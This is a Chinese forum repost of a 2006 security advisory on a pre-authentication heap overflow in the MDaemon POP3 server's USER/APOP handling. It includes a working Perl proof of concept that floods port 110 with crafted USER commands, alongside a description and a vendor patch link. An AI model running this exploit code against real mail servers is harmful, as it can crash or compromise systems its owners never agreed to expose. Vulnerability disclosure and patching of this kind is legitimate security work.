发新话题
打印

[转载]MDaemon POP3服务器预认证远程溢出漏洞

[转载]MDaemon POP3服务器预认证远程溢出漏洞

信息来源:绿盟科技

发布日期:2006-08-21
更新日期:2006-08-23

受影响系统:
Alt-N MDaemon < 9.06
不受影响系统:
Alt-N MDaemon 9.06
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 19651

Alt-N MDaemon是一款基于Windows的邮件服务程序。

MDaemon POP3服务器在处理USER和APOP命令时存在缓冲区溢出漏洞。如果向USER或APOP命令发送了包含有“@”字符的超长字符串的话,就会触发这个漏洞,导致堆溢出。如果要利用这个漏洞,必须向POP3服务器发送多个USER命令。成功利用这个漏洞的攻击者可能会执行任意代码,具体取决于堆的状态及字符串的长度。

<*来源:Leon Juranic (ljuranic@LSS.hr
      Sasa Jusic (sasa.jusic@infigo.hr
  
  链接:http://marc.theaimsgroup.com/?l= ... 26115116358&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#
# PoC for Mdaemon POP3 preauth heap overflow
#
# Coded by Leon Juranic <leon.juranic@infigo.hr>
# Infigo IS <http://www.infigo.hr>
#
#

$host = &#39;192.168.0.105&#39;;

use IO::Socket;

for ($x = 0 ; $x < 12 ; $x++)
{
   $sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => &#39;110&#39;, Proto => &#39;tcp&#39;)
   || die "socket error\n\n";
   recv ($sock, $var, 10000,0);
   print $var;
   print $sock "USER " . "\@A" x 160 . "\r\n";
   recv ($sock, $var, 10000,0);
   print $var;
   print $sock "QUIT\r\n";
   recv ($sock, $var, 10000,0);
   print $var;
   close ($sock);
   sleep(1);
}
   $sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => &#39;110&#39;, Proto => &#39;tcp&#39;)
   || die "socket error\n\n";
   recv ($sock, $var, 10000,0);
   print $var;
   print $sock "USER " . "\@A\@A" . "B" x 326 . "\r\n";
   recv ($sock, $var, 10000,0);
   print $var;
   print $sock "USER " . "\&#39;A" x  337 . "\r\n";
   recv ($sock, $var, 10000,0);
   print $var;
   sleep(2);

建议:
--------------------------------------------------------------------------------
厂商补丁:

Alt-N
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.altn.com

TOP

发新话题